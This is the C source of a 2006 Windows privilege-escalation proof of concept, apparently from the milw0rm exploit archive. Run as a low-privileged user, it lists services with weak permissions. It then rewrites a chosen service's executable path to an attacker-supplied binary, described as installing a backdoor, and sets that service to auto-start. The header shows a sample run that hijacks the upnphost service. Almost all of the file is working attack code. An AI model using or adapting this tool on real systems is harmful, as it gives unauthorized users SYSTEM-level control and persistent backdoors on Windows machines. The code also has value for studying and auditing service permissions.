// MS Windows Services Access List Checker / Modifier PoC

/*
 * Privilege Checker for Windows Services
 * (c) 2006 Andres Tarasco ( atarasco _at_ gmail.com )
 * http://www.haxorcitos.com
 *
 * Based on Sudhakar Govindavajhala and Andrew Appel paper
 * http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf
 *
 * usage:
 * You should execute this tool without Admin privileges on the target system
 * using for example an user account
 *
 * srvcheck.exe -l              - show vulnerable services
 * srvcheck.exe -m Service PATH - modify service configuration (install backdoor)
 *
 * Example for Windows XP SP2 computer

 D:\>whoami
 HXR\test

 D:\>net user test |find "grupo"
 Miembros del grupo local                    *Usuarios
 Miembros del grupo global                   *Ninguno

 D:\>srvchecker.exe -l
 Services Permissions checker
 [SSDPSRV]               Servicio de descubrimientos SSDP
 Status: 0x1
 Path: C:\WINDOWS\System32\svchost.exe -k LocalService

 [upnphost]              Host de dispositivo Plug and Play universal
 Status: 0x1
 Path: C:\WINDOWS\System32\svchost.exe -k LocalService

 You were Lucky. 2 services found

 D:\>srvchecker -m upnphost c:\windows\temp\backdoor.exe
 Services Permissions checker
 (c) 2006 Andres Tarasco - atarasco _at_ gmail.com

 service modified =)

 D:\>net start upnphost
 *
 * NOTE: This code compiles under Borland C++ Builder
 *
*/
#include <stdio.h>
#include <windows.h>

void doFormatMessage( unsigned int dwLastErr );

int main(int argc, char* argv[])
{

SC_HANDLE SCM;
LPENUM_SERVICE_STATUS_PROCESS lpServices;
unsigned int n;
DWORD nSize = 0;
DWORD nServicesReturned;
DWORD nResumeHandle;
DWORD dwServiceType;
SC_HANDLE Svc;
LPQUERY_SERVICE_CONFIG lpConfig;
DWORD dwByteNeeded;
char SrvName[256],SrvDesc[256];
BYTE LIST=0;
unsigned int l=0;

printf(" Services Permissions checker\n");
printf(" (c) 2006 Andres Tarasco - atarasco _at_ gmail.com\n\n");

 if ( ( (argc==1) || (argc>5) ) ||
    ( (argc==2) && (strcmp(argv[1],"-l")!=0) ) ||
    ( (argc==4) && (strcmp(argv[1],"-m")!=0) )
   ) {
    printf("Usage:\n\t-l (list vulnerable services)\n");
    printf("\t-m SRVNAME NewPath (change the configuration for that service)\n");
    exit(1);
 }

 if (argv[1][1]=='l') {
    LIST=1;
    SCM = OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
 }else {
    SCM = OpenSCManager(NULL,NULL,STANDARD_RIGHTS_WRITE);
 }
 if (!SCM){
    printf("OpenScManager FAILED\n");
    doFormatMessage(GetLastError());
    exit(-1);
 }

 if (LIST) {
    nResumeHandle = 0;
    dwServiceType = SERVICE_WIN32 | SERVICE_DRIVER;
    lpServices = (LPENUM_SERVICE_STATUS_PROCESS) LocalAlloc(LPTR, 65535);
    if (!lpServices) {
        printf("LocalAlloc Failed\n");
        exit(-1);
    }
    memset(lpServices,'\0',sizeof(lpServices));
    if (EnumServicesStatusEx(SCM, SC_ENUM_PROCESS_INFO,
        dwServiceType, SERVICE_STATE_ALL,
        (LPBYTE)lpServices, 65535,
        &nSize, &nServicesReturned,
        &nResumeHandle, NULL) == 0) {
        printf("EnumServicesStatusEx FAILED\n");
        exit(-1);
    }

    for (n = 0; n < nServicesReturned; n++) {
        Svc = OpenService(SCM,lpServices[n].lpServiceName, SERVICE_CHANGE_CONFIG | SC_MANAGER_ENUMERATE_SERVICE |GENERIC_READ);
        if (Svc!=NULL) {
            l++;
            printf("[%s]\t\t%s\n",lpServices[n].lpServiceName, lpServices[n].lpDisplayName);
            printf("Status: 0x%x\n",lpServices[n].ServiceStatusProcess.dwCurrentState);
    		dwByteNeeded = 0;
		    lpConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024);
		    if (QueryServiceConfig(Svc, lpConfig, 1024, &dwByteNeeded)!=0) {
                printf("Path: %s\n\n",lpConfig->lpBinaryPathName);
            }else {
                doFormatMessage(GetLastError());
            }
        }
    }
 } else {
    Svc = OpenService(SCM,argv[2],SERVICE_CHANGE_CONFIG | STANDARD_RIGHTS_WRITE);
    if (Svc!=NULL) {
         if (ChangeServiceConfig(
                Svc,
                SERVICE_NO_CHANGE,
                SERVICE_AUTO_START,
                SERVICE_ERROR_IGNORE,
                argv[3],
                NULL,
                NULL,
                "",
                NULL,
                NULL,
                NULL)!=0) {
                printf("service modified =)\n");
         } else {
            printf("modification failed\n");
         }
    } else {
        printf("Unable to open Service %s\n",argv[2]);
    }
 }

 if ( (LIST) && (l>0) ) {
    printf("\n You were Lucky. %i services found\n",l);
 } else {
    printf("\No luck\n");

 }
 CloseServiceHandle(SCM);
 LocalFree(lpServices);
 return(1);
}




void doFormatMessage( unsigned int dwLastErr )  {
    char cadena[512];
    LPVOID lpMsgBuf;
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_IGNORE_INSERTS |
        FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwLastErr,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        (LPTSTR) &lpMsgBuf,
        0,
        NULL );
    sprintf(cadena,"ERRORCODE %i: %s\n", dwLastErr, lpMsgBuf);
    printf("Error: %s\n",cadena);
    LocalFree( lpMsgBuf  );
}

// milw0rm.com [2006-02-02]
